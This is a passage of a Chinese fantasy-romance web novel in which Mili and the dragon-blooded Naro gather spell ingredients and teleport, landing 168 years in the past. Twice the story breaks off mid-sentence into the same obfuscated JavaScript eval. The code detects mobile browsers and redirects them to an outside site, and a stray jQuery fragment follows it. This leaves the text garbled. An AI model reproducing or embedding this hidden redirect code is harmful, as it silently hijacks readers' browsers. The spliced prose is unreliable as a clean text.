纳罗朝咪莉勾唇笑着,与其说他和苏法尔是同一具身体的两个人格,他更认为自己只是和苏法尔共用一具身体的两个人,他和苏法尔的灵魂完全不同。 可是这一刻,他有些迷茫了。 因为他心底压抑的渴望情愫是来自于苏法尔的,这种渴望一直传染着他的神经,导致他对咪莉总有绵延不尽的情意涌动。 苏法尔对咪莉的感情绝非泛泛平常。 纳罗作出了这个不太清晰的结论。 咪莉愣愣地说:“可是我们之前不认识,我们是没有感情基础的。” 纳罗握着她的手用力了些,就像要把那只柔软的小手融进自己手心里,甜言蜜语随口就来:“有时候第一眼就可以爱上一个人。” 咪莉几乎下巴掉到地上,她可不信像纳罗这样没心没肺的人会对谁一见钟情。 见咪莉一脸麻木地往前走,纳罗不高兴地晃晃两人拉着的手说:“你又不信我。” 咪莉完全无视他哀怨的话,专注地在昏暗中寻找龙脊树,然后还真让她找到了。 “啊,是不是那个!”她指着右前方惊喜道。 怪不得纳罗说等她见到了自然会分辨出,那是一棵神似一具龙骨尸骸的雄伟树木,它弯弯曲曲的枝干就像巨龙的躯干,一路盘旋而升,直至冲破苍穹,深褐色的树皮宛如龙鳞在黑暗中闪着凛凛寒光,稀疏的枝叶碧绿盎然,附身其干。 纳罗和她一起上前道:“运气不错,这么快就能找到。” 咪莉“嘿嘿”了两声,从纳罗的口袋里拿出事前准备好的木罐子,拔出木塞,纳罗用手指划出一道凌厉的红光,一截粗糙的树枝落到他掌心,掌心随即燃出火焰瞬间将树枝燃烧成粉末。 咪莉忙把木罐子递过去,小心翼翼地把纳罗掌心堆积的燃木灰一点一点刮进瓶口中。 等终于装好后,咪莉堵上木罐子的瓶口,把木罐子塞回纳罗的口袋里,然后抓住他那只刚刚盛放燃木灰的手说:“等等,我给你擦擦。” 纳罗微微点了下头,弯着唇角看着咪莉从身上拿出纸巾细细擦拭着他掌心的粉尘,他的声音满是愉悦:“老婆真贴心。” 咪莉抬起头,一脸凶相:“自己擦吧。”然后冷漠地抬脚走掉。 纳罗追过去紧紧牵着她的手:“一起走,这里太黑了,我们会走丢的。” 接下来是咪莉冷呵的声音:“我告诉你,我现在已经可以瞬移三米的距离了,可以自己一个人走出暗之森林。” 纳罗配合地欢欣鼓舞:“哇,老婆真厉害!” 咪莉抓狂:“纳罗你闭嘴啊!” 龙脊树的粉末拿到之后,接下来便是绿翼仙草,但两人都不知道绿翼仙草生长在哪里。 回到后咪莉就开始让纳罗去工作赚钱,然后去书店买植物大全之类的书籍,她得查查绿翼仙草的生长地到底在什么地方。 但问题又来了,她看不懂这里的语言啊! 咪莉只能寄希望于纳罗靠谱一下了。 刚回到酒店,纳罗就准备出门,咪莉疑惑地望着他,纳罗抱着手臂叹气:“不马上赚钱我们明天就要睡大街了,所以现在我就出门找工作。” 咪莉欣慰地点头,脸上微笑:“好,你去吧,等下我也出去看看有什么工作,两个人多赚一点。” 纳罗笑了两下,肩膀跟着颤动,他走到咪莉面前,用指甲挑弄着她胸前的那两只刺绣蝴蝶说:“老婆好好休息,你不会这里的语言,在酒店多练习魔法,赚钱这事我来就行。” “好吧。”交流不便也是个难题,咪莉只好听从纳罗的话。 纳罗离开后,咪莉把拿到的龙脊树粉末放到桌上,然后坐到床上开始潜心冥想修行,她准备尝试冲破娜娜当初在她体内做过的隔离结界,让圣女神力和她的身体加快融合。 莫加侬墨本的黑夜总是清冷孤独,白天没有太阳,夜晚的月亮也只是个小小的月牙形状,玻璃窗外,那小月牙颜色是橘黄色的,周围晕着一圈朦胧的光,在墨黑的天穹上如此渺小,连颗星星都没有。 不知过了多久,咪莉都快要睡着了,纳罗还没回来,她尝试用魔力融化体内那层结界后,效果不错,不过魔力损耗较大,精神有些跟不上,很快就陷入了疲乏之中。 苏法尔用尽魔力后应该也是这种感觉吧,昏昏欲睡,四肢无力。 咪莉晃晃不清醒的脑子,脱下裙子躺在床上找了个舒服的姿势睡着了,等到后半夜,纳罗才回来。 寂静的夜里,纳罗的脚步声很轻,咪莉原本是醒不过来的,只是走到床边的纳罗身上有很浓郁的血腥味,她才不适地醒来,咕哝了一句:“怎么才回来?” 纳罗的嗓音在黑夜里显得格外低沉魅惑,声调黏黏的散漫:“任务有些不轻松呢。” 任务?咪莉强迫自己睁开沉重的眼皮,想问问是已经找到工作了吗,但纳罗已经转身进了浴室,随后是哗啦啦的水声响起。 大概过了十几分钟,咪莉快要再次睡着时,身边床铺软软地陷了下去,一只温热的手臂放在她腰上,淡淡的沐浴露香气萦绕她鼻息间,纳罗抱着她,应该是在她头发上吻了一下。 咪莉在他怀里转了个身,双手推了推没有穿上衣的他,含糊不清地问:“离我远一些,你找到工作了?” 纳罗抓着那两只热乎乎的小手放在唇上吻了一下:“嗯,先睡吧,明天再跟你说。” 咪莉哼哼唧唧的:“都说了离我远一些……”她说完又翻了个身,背对着纳罗继续睡了,仿佛刚才转身过来只是想面对纳罗说句话。 等咪莉呼吸平缓后,纳罗才又靠近些,将手臂搭在咪莉腰上。 咪莉没有穿睡衣,他们的肌肤紧紧贴着,大概是睡糊涂了吧,不然她肯定要痛打他一顿的。 纳罗的唇在咪莉滑嫩的肩头轻轻碰了下,把这具娇软的小身子拢在他的身体范围内,带着倦意一同进入了梦乡。 清晨,灰白的日光透过没有拉窗帘的窗户照耀进来,一声尖叫打破室内的温馨安逸。 咪莉坐在被子里,用拳头隔着被子直往纳罗身上招呼:“你干嘛你干嘛,你的手伸到哪里去了!” 纳罗睁开倦气的双眸,里面透着漫不经心:“揉揉有助于发育 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144407|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成长,我是好心帮你按摩呀,咪莉。” 见咪莉寒意森森,手心也逐渐凝聚出蓝色光芒,纳罗立刻正经起来,掀开被子下床:“我去洗脸。” 十分钟后,穿好衣服的纳罗把一袋沉甸甸的金币放到脸色阴沉的咪莉眼前,略带委屈地说:“喏,这是昨晚赚来的佣金,一共270个金币。” 咪莉的眼睛登时变大:“270个金币?!” 好多钱啊。 咪莉拿过来打开看了看,重得她需要用两只手捧着。 见咪莉高兴,纳罗也翘起嘴角:“昨天接了个做某家领主的护卫工作,所以才那么晚回来,本来是300个,但我买了套衣服和一些吃的。” 咪莉抬起头看着纳罗,从刚才她就注意到了纳罗身上这套新衣服,墨黑色的半高领制服,典型的华美贵族气势,果然贵有贵的道理,漂亮衣服穿在身上就是不一样。 “你杀了很多人?”做护卫打打杀杀在所难免,但血腥味强烈到刺鼻,应该是从死人堆里出来的。 “具体没数。”纳罗撩了撩耳边的碎发到耳朵后,完全露出那张漂亮邪魅的脸,“大概有一百来个吧。” 纳罗说的语气很平淡,就像在说他吃的饭味道一般般一样。 咪莉想到苏法尔是佣兵团团长,做任务的时候杀人应该也是如此吧,毫不在意生命,只为完成任务。 纳罗和苏法尔也算是有共同点。 “发什么呆?”咪莉出神着,被纳罗拉到桌子旁,他把昨晚带回来的美食一一打开说,“我买了芋泥奶酪,草莓布丁塔,来尝尝味道,当地人说是这里最好吃的甜品。” “咦,这里也有竟然草莓布丁塔,我最喜欢吃这个了。” 咪莉的心神被分散了些,她坐下来用勺子舀了一口草莓布丁,软软弹弹的,吃起来口感爽滑酸甜,味道并不比她以前吃的差。 纳罗坐在咪莉对面,用手心托着下巴,懒洋洋地眯着眼:“吃吧,吃完我们去书店看看。” “唔。”咪莉又吃了一口,慢慢咽下去后才说,“会找到绿翼仙草吗?” “只要确定绿翼仙草的生长位置,就不难拿到。”纳罗看着面前的她吃得津津有味,又给她拆开一杯菠萝果汁,“我想这里也会有绿翼仙草的。” 咪莉抿了抿唇:“但愿如此吧。”她可不想这个大陆没有绿翼仙草的存在,但为了以防万一,她又问:“如果没有的话,有其他材料代替吗?” 纳罗轻轻摇头:“没有的。” “啊,希望一定让我们找到啊。”咪莉唉声叹气地吃着,她看看外面的天,真的很陌生,很没有安全感,“对了,你和苏法尔,是怎么交替出现的?” 这个问题她一直都想问来着,但因为总是忘记,又怕纳罗不高兴。 不过她问了以后,纳罗没有她想象中的生气,只是淡淡地说:“谁打赢了就出来占据身体。” “打赢?”同一个人怎么打? 看见咪莉迷惑的眼神,纳罗用手指擦拭着她嘴角的亮晶晶痕迹说:“从出生起,我和他就每时每刻都在斗,就连睡觉也会留有三分警惕,这次是趁他喝醉我出来了。” 说到这,纳罗的眼瞳颜色更深了些,大概也没想到苏法尔放松到会饮酒到醉,低低的声音仿佛喃喃:“他在你身边时真的很反常。” 咪莉眨眨眼睛,没听见纳罗后面的话,故意挑衅道:“那你比苏法尔弱很多啊,你打不过他,所以一直没机会出来。” 纳罗倒是不恼,望向窗户外面的城景轻描淡写地说:“我会杀了他的。”杀了他,只活我一个。 咪莉的瞳孔微变,大概是被纳罗眼中泄露的杀气惊到,她不太懂双重人格之间的关系,也没什么话可说,就低下头吃。 “咪莉。” “嗯?”咪莉抬起脸。 纳罗平静地看着她,却令她的心跳不受控制地加快,纳罗眼里的情绪复杂到她完全看不懂,只觉得有无数潮水带着寒意包裹住她,仿佛只要她一张口,就会被潮水灌满胸腔窒息而死。 “我和苏法尔……”纳罗刻意停顿了一下,声音没有任何情绪,“你更想让谁留下?” 咪莉不知道如何回答,她默了一会儿,抓了抓头发说:“其实我觉得你和苏法尔就像兄弟,是完全不同的两个存在。” 咪莉喝了口果汁,似乎是在想怎么组织语言才能令眼前的人满意,可她真的不知道答案。 苏法尔和纳罗都是活生生的人,虽然可恶,但她从不想要谁的命。 见咪莉一副不知所措苦恼的模样,纳罗摸了摸她的头说:“好了,不为难你了,快吃吧。” 咪莉松了口气,但心里却始终挥之不去的发愁,具体原因她也弄不清。 32.你怎么了 早上八点半左右,两人出门了。 纳罗应该是昨晚摸过这里的路线,今天是带咪莉直奔一家大型书店,一共有三层楼,每层约有一百架书柜,书柜上摆满密密麻麻的书籍,它们都被安置在一层软乎乎的绒垫内,每一本都被保护得很好。 纳罗在一张书架之中摸索挑拣,拿了许多关于植物类的书籍。 咪莉看着他怀里那一摞十几本的厚皮书就直头大,拿来一本翻开后苦下脸说:“这要找到什么时候啊。” 纳罗很轻地笑了一下,他依然还在往怀里放书:“很快的,你无聊的话可以到处逛逛。” 他将身子探出书架,隔着透明玻璃指了指外面说:“书店前面有家冰激凌店,你想吃的话可以去。”说完后又继续从书架里“进货”。 咪莉顺着他指的方向看了一眼,随即摇摇头说:“我还是留在这里一起找吧,虽然我不认识字,但图鉴还是能看的明白的。” 纳罗终于挑完了书,其中还有一本莫加侬墨本大陆地理详解,来到柜台前准备付账,咪莉觉得这样太浪费钱了,让纳罗问问老板可不可以当借的,只付租用费,看完再还回去。 老板拒绝了他们。 咪莉吐吐舌头,小声跟纳罗说:“行不通呢。” 纳罗说没关系,钱不是问题。 咪莉倒是夸了他一句:“你赚钱能力确实厉害。” 两人抱着这一堆小山似的书回到了酒店,路上纳罗还让咪莉顺路去买冰激凌吃。 酒店里,两人坐在靠窗的那张桌子旁,纳罗低头在一张纸上快速画着什么,咪莉用勺子舀着纸碗里的巧克力冰激凌球,软绵冰冷的冰激凌上还落着一层焦糖,看起来就特别得甜。 “你看看。”纳罗把那张纸推到咪莉面前,上面画着一株用钢笔勾勒出的植物,“这个就是绿翼仙草。” 咪莉放下勺子,凑过去仔细地看,绿翼仙草如其名一样,有着两片宛如精灵羽翅的大片叶子,下面是两条细嫩的根茎,叶子边缘带有细细的锯齿。 “长得好像精灵啊。” 纳罗此时正拿着咪莉的冰激凌吃:“不仅长得像精灵,它们也会离土而飞,到处找自己喜欢的位置落根。” 他应该很喜欢吃甜的,把上面浇的一层焦糖都刮在勺子里了:“它们的叶子会发光,喜欢停留在干净的环境里生长。” 咪莉看着他把那层焦糖都吃掉,没好气地说:“你吃东西怎么跟个小孩子一样?” 纳罗舔舔唇角的糖味,他的笑容很干净,把冰激凌还给怨气丛生的某人,用手指顺了顺长发,然后翻开书说:“我先看书了,争取今晚找到结果。” 咪莉瞥了眼桌子上大概三十多本的书:“今晚之前看完这些的话,那你真是无敌了。” 纳罗低着头,翻页的速度迅速又不毛躁:“如果我今晚之前看完,咪莉答应我一个要求好吗?” 他没有抬头,咪莉只看见他的唇角很愉悦地勾着。 这种不清不楚陷阱很大的交易咪莉可不会做,她撇撇嘴,斩钉截铁:“不要。” 纳罗合上书,起身:“我困了,咪莉,我睡会儿。” “啊?你怎么突然就困了?”咪莉有些愣怔。 纳罗揉揉后脑勺,有些碎发被他揉乱,他躺倒在床上懒散地说:“可能昨晚没休息好,对了,龙族是很嗜睡的,有时候睡一年都不会醒。” 咪莉这才看清纳罗的真面目,根本就是在威胁她。 她磨着牙走过去拽他的手臂:“喂,你捉弄我是不是?快起来啊,你难道不想早点回去吗?” 纳罗没有回答,只是从喉咙里发出一声闷闷的吟声,好像就快要睡着般。 咪莉着急了,她实在拉不动这座大山般的男人,于是赌气地松开纳罗手臂,走到桌边坐下,她就不信自己找不到。 翻过几页植物图鉴后,不到十秒,她就气愤地起来走到床边说:“我答应你行了吧,赶紧起来啊!” 那么多的书,仅靠她一人估计得翻好几天,而且除了图案,她不懂上面的文字,说到底,还是要靠纳罗确认位置。 纳罗得逞了,呵呵直笑地坐起来:“说好了,反悔是要变丑的。” 他把竖着眉毛怒气十足的咪莉拉进怀里吻了吻她的脸,结果自然是被狠狠推开。 “少废话,快点找。”咪莉说完扭头就走,还用手擦着被纳罗吻过的地方,可是擦到一半,她的心里升起不好的预感。 她的脑子里不知为何回忆起了与奥倾做过的事,那些黏黏密密的吻当时有多令她心跳加速,现在就有多心痛如绞。 咪莉轻轻闭了闭眼,努力平复自己突如其来的感伤情绪。 快忘记吧,骗取女人心的男人都是世界上最可恶的一类。 咪莉重新睁开眼,集中注意力在书上,并没有注意到原本翻书页很规律的纳罗在每页上停留的时间变得久了。 空气变得沉默,只剩下沙沙的翻页声,大概过了几分钟,纳罗的声音传来:“有什么伤心事吗?” 咪莉怔忡地望向他:“什么?” 她表现得如此明显吗? 她摇摇头说没有,就是担心怕找不到然后不能回家。 纳罗弯了弯唇角,银白的眼中却没有半点笑意:“会回去的。” 不知过了多久,咪莉的脖子都酸了,她揉揉后颈,她看的书都是图鉴一类的,已经轻松不少了,纳罗看的要复杂许多,要在密密麻麻的莫加侬墨本大陆语言中查找绿野仙草的记载,而且由于语种问题,经常会出现许多相似的词语,都需要纳罗一一筛选罗列出来。 不过纳罗效率很高,几乎一目十行,记忆力和苏法尔一样超常,可以快速在如蚂蚁般的字体里定格重要词汇,他的左手边是没有看的,仅剩下三本,右手边则是看过的,有十几本左右。 而咪莉的速度慢上许多,纳罗看完一本书的功夫,她才翻完半本图鉴,而且他们运气也不太好,翻过这么多本书都没有找到绿野仙草的踪迹,就算有相似的也无法确定。 纳罗说这些书里的记载都很模糊,这是没办法的事。 咪莉由衷感叹着纳罗的效率,用手撑着脸颊眨了眨犯困酸涩的眼瞳,然后另一只手拿起纳罗做过笔记的那张纸,上面是纳罗用埃比优大陆语写的,她可以看懂。 “困了吗?”纳罗抽空从书里抬头,看了看天色,“中午了,该吃饭了,楼下有家餐馆,我去买些吃的回来。” 纳罗说罢就准备起身,咪莉先他一步起来说:“还是我去吧,你继续找。” 纳罗也没坚持,冲咪莉露出一个眼巴巴的微笑说:“谢谢老婆。” 咪莉额筋直蹦,回头看了纳罗一眼,话语在口中绕了一圈,又憋回去了,叹气着开门离开。 纳罗这个死心眼,不管她怎么表示自己的拒绝他都只会一意孤行喊“老婆”,只能以后再慢慢想办法了。 咪莉在纳罗所说的那家餐店买了两份汉堡套餐回来,却见纳罗已经没在看书了,而是全身放松地倚靠在椅子里闭着眼睛,长长的睫毛在他眼下投落一片浅浅阴影,张扬的红发衬得他的脸更为白皙精致。 “休息下吧,我买了饭回来。”咪莉走过去把吃的放在桌上,挪开那些散落的书籍,以为是纳罗累了。 纳罗的眼睛透着明亮的光芒,对咪莉笑说:“已经找到了。” “找到了?”咪莉打开纸盒子的手一顿,激动写满脸上。 纳罗把他做过笔记的那张纸给咪莉看:“根据绿野仙草的生长环境和这个大陆地理位置推断,能排除的我都排除了,目前只剩下这个位置的了。” 咪莉低头仔细看着,然后对照着那张已经加了更多翻译的地图说:“这两种草位置离得很近,那我们就只需要去多克城就行了?” 纳罗“嗯”了一声,拿起一只汉堡咬了一口,估计也是饿到了,嚼完才慢慢说:“吃过饭我们就去。” “太好了。”咪莉兴高采烈,放下那张地图,从盒子里拿了一只蓝莓奶酪包也咬了一口,心情好到恨不得要在屋子里转一圈,“这样我们很快就能回去了。” “回去后要做什么?”纳罗随意聊着。 咪莉又吃了一口奶酪包里的奶油说:“当然是回家见我妈妈了,不知道她担心成什么样子呢。” 纳罗笑吟吟说:“咪莉要把我介绍给你妈妈吗?” 咪莉鼓起嘴巴,鄙视地看他:“不要,我们回去后桥归桥,路归路,再也不相见。” 纳罗放下汉堡,把那张做过很多笔记的纸张拿在手里作势就要撕:“不回去了,在这里挺好的。” 咪莉忙起身抓住他的两只手阻止:“介绍介绍,我把你介绍给我妈妈行了吧!” 纳罗满意地松手,咪莉赶紧把那张已经裂了口子的纸叠好护在怀里,眼中怨气四射:“就会搞威胁。” 等她回去了就跑,大不了做一个言而无信的人,反正纳罗不知道她家住哪儿。 可是婚约还没解除…… 唉,人生真是处处艰难啊。 咪莉万分惆怅地吃着饭,心情时好时坏,吃完后简单收拾了下随身物品,依旧由纳罗背着包,为了不过分消耗魔力,她披上一件厚厚的斗篷,不再用取暖术。 纳罗拉着她的手离开酒店大门说:“我可以给你加取暖光罩呀。” 咪莉甩开他的手,冷哼着把手缩进毛茸茸的袖子里:“不用你。” 没了取暖术,室外的寒意便侵袭着咪莉的身体,她暴露在外面的脸颊觉得一阵生疼,只好给自己加了一层比较薄弱的护罩维持。 他们按照地图行动,不到一小时便来到了多克城外的一个庄园附近,那里有一片森林,碧绿清新,生机勃勃,仿佛一片人间仙境一样美好,森林外围是静静流淌的潺潺小溪,河底是多彩鹅卵石,河边是一望无际的草原。 咪莉本来是信心满满地来,但在走进森林的范围内以后,就被打击了信心。 森林太大了,要找到那么小的绿野仙草谈何容易啊。 “本来以为找到位置就行了,结果还是要在这里大海捞针。” 纳罗却不慌不忙,从口袋里拿出一朵粉色蔷薇,展开的柔美花瓣上还散发着雪粒似的光效,典雅清丽。 “绿野仙草喜欢漂亮的花,用这个作引路,很快就能找到的,我在上面滴了我的血作追踪。”纳罗微微抬手,那朵没有枝干的粉蔷薇便飘了出去,拖曳出一道绚丽的尾巴光芒,宛若一颗发光的星星。 咪莉不禁佩服:“你准备得真周全。” 纳罗挑眉一笑,拉着咪莉往前走。 等纳罗察觉到那朵粉蔷薇四周有某种东西不停地流动时,便带咪莉瞬移过去。 “真的找到了!”咪莉几乎跳起来,跑过去两步又停下来,生怕吓跑了那些围绕在粉蔷薇旁的绿野仙草。 那些绿野仙草就像有生命的小精灵一样,叶子像翅膀,两条白色的根茎像少女细嫩的双腿,浑身散发着绿色光芒。 纳罗走过去蹲下来,看着那几棵绿莹莹的仙草说:“长势不太好呢,不过也够用了。” 他指尖轻轻点了几下,那几棵仙草便乖乖躺进了他的手心,浑身光芒也逐渐褪去,好像只是几棵普通的植物一样。 咪莉看着这神奇的一幕眨了眨眼:“它们死了吗?” 听到这话后纳罗笑出了声:“它们没有生命的。” 咪莉摸了摸他手心的叶子说:“植物也是有生命的。” 纳罗对同情心溢满的咪莉说:“既然你舍不得这些小植物死去,我还有个办法让它们活着。” 三分钟后,那些没了叶子的绿野仙草光秃秃地四散离去,就好比被扒了翅膀的精灵一样凄惨。 “呃……”咪莉总感觉怪怪的,她抬头凝视着已经收好叶子在包裹里的纳罗说,“你好像扒了人家纯洁少女衣服还不负责任的坏男人。” 纳罗摸摸咪莉光滑的脸蛋笑得邪恶:“咪莉知道什么是坏男人吗?难道说经历过?” “我没有经历过。”咪莉下意识就否认,但想到了奥倾,便撇过去脸往前走,“但我就是知道,我妈妈说过,大城市里的一些坏男人说的话不能轻易相信,他们会对单纯的女孩骗人又骗心,最后还会因为腻了就把女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157483|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩给甩掉……” “哈哈哈……”咪莉还没说完,纳罗就已经捂着肚子大笑起来,“咪莉你……” 他笑够了后就过去把回头怒瞪他的咪莉抱在怀里,眼神出奇得温柔下来:“你妈妈说得对,咪莉以后千万不要轻信任何一个男人的话,当然除了我。” 咪莉有些失神地看着他,他太高了,她这个仰头姿势总是很累,可这次她看了他的眼睛好久,他眼里的柔意就像一股清泉悄无声息地淌进她心田,浇灌了某种埋在土里不肯冒头的种子。 “你才是那个我最需要防范的坏男人。”咪莉说完后把脸扭到一旁,后知后觉地发现自己和纳罗靠得如此相近,她完全可以听见纳罗的呼吸声。 咪莉伸手推开他,羞赧地看了他一眼,他嘴角意味不明的笑容更令她脸颊发热,她不知道自己是怎么了,抬头左顾右盼了一番说:“这片森林太闷了,我们快走吧。” 咪莉扯了扯斗篷的带子,想让自己凉快些,等纳罗的脚步声跟上来后她找着话题缓解这种奇异氛围说:“苏法尔醉得这么厉害吗,还不出来。” 走了好几步,咪莉也没有听到纳罗的回答,这才意识到自己找的话题有多尴尬。 苏法尔出来意味着纳罗消失,纳罗当然不希望这种事发生。 咪莉回过去头,纳罗的脸上没什么表情,她有些不知所措地挠挠头发:“苏法尔说他觉得来到这里很新奇,来一趟异大陆不容易,如果是他在的话,估计不会像你这么配合地找回去的材料。” 咪莉也不知道自己在说什么,她皱皱眉,转过身继续走,一脚一脚地避开地上生长出来的某些小野花。 “嗯,他喜欢新鲜的事物。”纳罗的声音也淡淡的,“就像你一样,对他来说应该也是一种新鲜的体验。” “我?”咪莉不解地看着他。 纳罗看了看她,最后只是说:“你以后应该就会知道了。” 他们回到酒店里,纳罗便开始制作传送魔法阵,他把收集到的龙脊树木灰、绿翼仙草粉末糅合在一起,最后用刀子割破自己的左手腕,流了半碗的血才停止。 他包扎的方式很潦草,用纱布缠几圈就低下头用牙齿去和另一只手打结。 咪莉觉得纳罗有些奇怪,变得和苏法尔一样沉默,她确认了下纳罗的发色和眼眸,走过去拉了拉纳罗垂落在手臂上的长发说:“我帮你系吧。” 纳罗抬起头,没说什么,只是安静地看着咪莉把他缠的纱布松下来重新绕了绕,然后轻轻系上一个小兔子耳朵般的绳结。 纳罗把那龙脊灰和绿野仙草灰往龙血里倒了些,然后用没受伤的右手拿一支木笔搅动着。 咪莉觉得气氛实在怪异,这样的纳罗她从没有见过,便问:“你怎么了?” “嗯?”纳罗看了她一眼,随后继续搅动,“没什么呀。” 咪莉也没继续问了,从纳罗手里拿过木笔说:“我弄吧,你受伤了。” 纳罗笑嘻嘻地说:“受伤真好,咪莉会主动关心我。” 咪莉用奇怪的眼神看向他:“受伤哪里好,被刀子割那么大一口子,还流那么多血,疼死了。” “是啊是啊,好疼啊。”纳罗顺势说着,然后把左手送到咪莉跟前说,“那咪莉帮我吹吹?吹吹我就不疼了。” “幼稚。”咪莉没有答应,用木笔挑了挑碗里的液体说,“这样好了吗?” “差不多了。”纳罗收回手臂,“咪莉想传送到哪里?” 咪莉惊讶地抬头:“还可以选地方吗?” “当然可以。”纳罗端起碗,走到房间中央的空地上蹲下,“我现在开始画,画完会在里面写上我们传送的地点。” “可是在这里留下魔法阵会不会有什么麻烦?” “不会的,我用的一次性魔法阵。”纳罗用木笔蘸取着血液在地上已经开始定点,“等我们传送走,这个魔法阵也会随之消失,不会留有任何痕迹。” “好高级的魔法阵啊。”咪莉走到一旁观看着,打算用眼睛记下纳罗画的阵法,说不定她以后也会派上用场。 魔法阵画完已经是半个小时后的事了,地上是一副淡红色的繁琐阵法,每条线每个点画得都非常标准精细,就好像书里的图案等比放大后印在了地上一样。 咪莉表示自己根本记不住,太多重要的小细节了,而且她就算学会,画下来也得三个小时以上,纳罗真是个可怕的家伙。 “好了,检查下我们的东西,现在就离开。”纳罗把碗放到一旁,起来伸展了几下四肢。 咪莉眼放精光地看着碗里剩余的血说:“纳罗,那个你还有用吗?” 纳罗一眼便看出咪莉的想法,他从背包里拿出一个玻璃瓶,把剩余的混合血液倒进去说:“这些材料挺难找的,剩余的当然要收好了。” 咪莉一瞬不瞬地盯着他把木塞子堵上,然后过去拿在手里说:“嗯,我给你收好!” 然后悄悄占为己有。 纳罗这么厉害,以后再找肯定容易,这些就归她了。 咪莉翘着嘴角心满意足地开始收拾东西,把菲玛给她的那套灰扑扑衣服叠好放进背包里,然后问纳罗:“这套衣服你还要吗?” 她指指那套被苏法尔和纳罗都嫌弃的补丁衣服。 “不要了,以后也不会穿。”纳罗绕着魔法阵转了一圈确认无误,然后招手让咪莉过来,“整理好了吗?” “嗯!”咪莉抱着他们的背包跑过来,跟纳罗一起踏入阵中,激动之余,还有些紧张。 一想到马上就能回到家见到妈妈,咪莉越发得精神大振,和纳罗拉紧手。 纳罗口中默诵了几句咒语,整个魔法阵便立即启动,红色的线条纹路散发出强烈的白光包裹住他们两人。 霎时间,酒店内已空无一人,连同地上的魔法阵也消失。 咪莉感觉自己好像一闭眼一睁眼就已经换了个位置,在她为眼前景象已经变了而欢悦的同时,也很快愣在了原地。 传送的地点不是她的家门口,而是一个陌生的街道,但远处一些熟悉的建筑确实在告诉她这里就是塔朗镇。 33.一百多年前的平行时空 “这是怎么一回事?”咪莉奇怪地喃喃道。 他们现在站在一个熙熙攘攘的街巷中,两边是各种小型商铺,基本都是双层褐色的木质阁楼,屋檐翘角上爬满绿色藤蔓,夹杂着一些白白紫紫的小花,整个世界仿佛一座温馨童话镇。 咪莉左顾右盼,打量着周围环境,有许多商铺是熟悉的,但许多地方又对不上。 比如前方那座咖啡馆,以前招牌是木质的彩色横幅,店面也是木质玻璃相结合,而现在却是纯粹的杨木墙壁,成色也比较老旧,像是很多年的老建筑。 还有对面这家本该是护肤品的店,现在也变了样貌,招牌变成了零食铺。 这条街上变化得不止这两家,还有许多,只有寥寥几个房子还是她记忆中的模样,只不过要更崭新一些。 “怎么了?”纳罗问道,他的声音有些轻,还带着些虚弱。 只是咪莉无心注意纳罗的异样,她的心里有着巨大的不安在慢慢晕开,她找着什么,快速走向一家店,然后停下来,抬头仰望着。 本该是她家杂货铺的房子,现今不是杂货铺,而是一间快餐店。 她的心里“咚”的一下,像是有一颗石头沉了下去,脸色很难看:“这不是我家的杂货铺。” 她抓着走过来的纳罗手臂晃晃说:“这是我家位置,可却不是我家的杂货铺。” 难道说短短时间内,妈妈就把杂货铺改成了快餐店? 咪莉抱着这个想法走进店里,因为是清晨,里面客人不多,只有三个坐在餐桌前用餐。 她急切地朝柜台走去,完全没发现跟上来的纳罗脸色苍白,走路的步子也虚浮无力。 “先生,请问你是这里的老板吗?”咪莉双手扒在柜台上,双眼迫切地望着老板。 老板是个中年男子,鼻梁上戴着副眼镜,坐在柜台后看着一本封皮是画着一位金发美女的小说,头也不抬地说:“是啊,要点餐吗?菜单在这里,你自己拿。” 老板的表情生动形象,像是看到了精彩部分,根本无暇理会咪莉。 “这里什么时候改成的快餐店?原来的杂货铺老板呢?” 咪莉还要再问,被纳罗拍了拍手,纳罗指着柜台旁边摆放的一个台历说:“魔法历125年十月。” 魔法历125年,十月。 咪莉犹如晴天霹雳,错愕地张开嘴巴,她看了纳罗一眼,又拿过来那个台历看,捏着硬壳边缘的指头用力到已经泛白。 “这是怎么回事?” 纳罗眉头微皱,心里已经有了个大概,但为了确认给咪莉听,他向老板询问道:“老板,今年是多少年?” 老板不耐烦地瞅了他们一眼:“今年多少年都不知道?你们两个真是糊涂了吧,那不是写着的吗?125年啊。” 魔法历125年,168年前。 三分钟后。 咪莉确定自己和纳罗是在168年前的塔朗镇,所以这里环境与她生活的不一样。 这个时候,不仅她还没有出生,她妈妈也没有出生,而她身边的纳罗,也才仅仅只是八岁左右的孩童年纪。 “怎么会这样啊……”咪莉一脸苦相地坐在快餐店靠窗的位置上,面前桌上摆着份皮薄馅满的奶酪包和一杯红柚汁,是纳罗刚刚点的,但她完全没有心情吃。 她现在的感觉就像期待已久的礼物拆开后发现里面不仅是空的,还有一张纸条上面告诉她一切都是逗她玩儿的恶作剧。 她现在的心情真是糟糕透了。 纳罗靠在椅子上,整个人恹恹无力,嘴唇也没了血色,脸颊边的碎发贴着他的轮廓,有几缕俏皮地翘起,他慢慢呼吸着,脸上笑容很淡:“魔法阵没有问题,那么问题大概就是出在你吃的果子上了。” “我吃的不是传送果吗?”说到这儿,咪莉抬起头,终于注意到纳罗的状态好像不太对,她忙探身问,“你怎么了?脸色这么苍白。” 纳罗笑了一下:“还以为你发现不了我快要死了呢。” 